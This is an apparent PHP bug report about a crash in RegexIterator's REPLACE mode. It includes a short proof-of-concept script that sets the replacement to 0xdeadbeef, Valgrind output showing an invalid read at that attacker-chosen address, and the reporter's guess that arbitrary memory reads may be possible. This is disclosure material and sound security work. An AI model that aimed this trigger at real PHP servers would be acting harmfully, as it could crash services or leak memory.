Description:
------------
The attached code crashes on PHP 5.3 and trunk. It seems particularly dangerous because the address where the invalid read happens is directly assignable. I didn't have more time to look into this but it might be possible to do arbitrary memory reading with this vulnerability.

Test script:
---------------
<?php
class foo extends ArrayIterator {
        public function __construct( ) {
                parent::__construct(array(
                'test3'=>'test999'));
        }
}
$h = new foo;
$i = new RegexIterator($h, '/^test(.*)/', RegexIterator::REPLACE);
$i->replacement = 3735928559; // 0xdeadbeef
foreach ($i as $name=>$value) {
}
?>

Actual result:
--------------
==22309== Invalid read of size 1
==22309==    at 0x497700: php_pcre_replace_impl (php_pcre.c:1088)
==22309==    by 0x62E77E: zim_spl_RegexIterator_accept (spl_iterators.c:1919)
==22309==    by 0x7C3A40: zend_call_function (zend_execute_API.c:986)
==22309==    by 0x7EF6A1: zend_call_method (zend_interfaces.c:97)   
==22309==    by 0x62DD39: spl_filter_it_fetch (spl_iterators.c:1724)
==22309==    by 0x62DE07: spl_filter_it_rewind (spl_iterators.c:1743)
==22309==    by 0x62DE96: zim_spl_FilterIterator_rewind (spl_iterators.c:1763)
==22309==    by 0x7C3A40: zend_call_function (zend_execute_API.c:986)
==22309==    by 0x7EF6A1: zend_call_method (zend_interfaces.c:97)   
==22309==    by 0x7EFCFF: zend_user_it_rewind (zend_interfaces.c:261)
==22309==    by 0x88CBE0: ZEND_FE_RESET_SPEC_CV_HANDLER (zend_vm_execute.h:22724)
==22309==    by 0x80693D: execute (zend_vm_execute.h:107)
==22309==  Address 0xdeadbeef is not stack'd, malloc'd or (recently) free'd
==22309==
==22309==
==22309== Process terminating with default action of signal 11 (SIGSEGV)
==22309==  Access not within mapped region at address 0xDEADBEEF